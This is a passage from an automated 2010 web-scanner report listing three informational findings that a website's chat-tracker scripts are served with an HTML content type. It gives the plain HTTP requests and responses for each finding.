Host:   http://a2.websitealive.com
Path:   /1803/Visitor/vTracker_JS.asp

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /1803/Visitor/vTracker_JS.asp?action=startproactive&groupid=1803&websiteid=0&departmentid=2051&sessionid_=17412223218157&appdir=http%3A%2F%2Fa2%2Ewebsitealive%2Ecom&websiteid_x=0&departmentid_x=2051&proactiveid=315&departmentid_invite=2051&p_left=100&p_top=100&p_width=0&p_height=0&p_backgroundimage=http%3A%2F%2Fimages%2Ewebsitealive%2Ecom%2Fimages%2Fhosted%2Fupload%2F29215%2Egif&p_backgroundimage_ssl=https%3A%2F%2Fimages%2Ewebsitealive%2Ecom%2Fimages%2Fhosted%2Fupload%2F29215%2Egif&p_linebreaks=0&p_align=&p_scrolling=Y&p_version=2&autostart=Y&start_in_embed=N&random=0.5350408145333958 HTTP/1.1
Accept: */*
Referer: http://www.onsitein60.com/index.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: a2.websitealive.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDACSTDADR=JKKMAIEBEIGMPIKLAMOJMADL

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 14:49:48 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 7473
Content-Type: text/html
Cache-control: private


       //keep in js
   function writeDivProactiveBlock(HTML,p_left,p_top,iwidth,iheight,bg_image,existing){
   
       var div_css = 'text-align:left; margin:0px; z-index:10000;position:absolute;left:' + p
...[SNIP]...

5.2. http://a2.websitealive.com/1803/Visitor/vTracker_v2.asp  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://a2.websitealive.com
Path:   /1803/Visitor/vTracker_v2.asp

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /1803/Visitor/vTracker_v2.asp?websiteid=0&groupid=1803 HTTP/1.1
Accept: */*
Referer: http://www.onsitein60.com/index.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: a2.websitealive.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 14:49:43 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
cache-control: no-store, must-revalidate, private
Pragma: no-cache
P3P: CP="NOI DSP COR CURa OUR NOR"
Content-Length: 6752
Content-Type: text/html
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Set-Cookie: ASPSESSIONIDACSTDADR=JKKMAIEBEIGMPIKLAMOJMADL; path=/
Cache-control: private


// keep on page
function URLEncode(plaintext)
{
   // The Javascript escape and unescape functions do not correspond
   // with what browsers actually do...
   var SAFECHARS = "0123456789" +                    // N
...[SNIP]...

5.3. http://a2.websitealive.com/1803/visitor/vTrackerSrc_v2.asp  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://a2.websitealive.com
Path:   /1803/visitor/vTrackerSrc_v2.asp

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /1803/visitor/vTrackerSrc_v2.asp?action=poll&groupid=1803&websiteid=0&departmentid=0&sessionid_=17412223218157&dt=Computer%20Consulting%20NYC%20%7C%20Computer%20Consulting%20Company%20NY%20%7C%20Computer%20Consulting%20New%20York.&dl=http%3A%2F%2Fwww.onsitein60.com%2Findex.html&rf=http%3A%2F%2Fwww.google.com%2F&wsa_custom_str=^^^^&random=0.10761025614034786 HTTP/1.1
Accept: */*
Referer: http://www.onsitein60.com/index.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: a2.websitealive.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDACSTDADR=JKKMAIEBEIGMPIKLAMOJMADL

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 14:49:45 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
cache-control: no-store, must-revalidate, private
Pragma: no-cache
P3P: CP="NOI DSP COR CURa OUR NOR"
Content-Length: 971
Content-Type: text/html
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Cache-control: private

//alert('proactive_lastaccept=');
//alert('trigger: ^');
//alert('0. oktogo:False | triggerurls:^ | visitor_footprint:http://www.onsitein60.com/index.html | anypage_enabled:True');

...[SNIP]...

Report generated by XSS.CX at Sat Nov 20 10:44:46 CST 2010.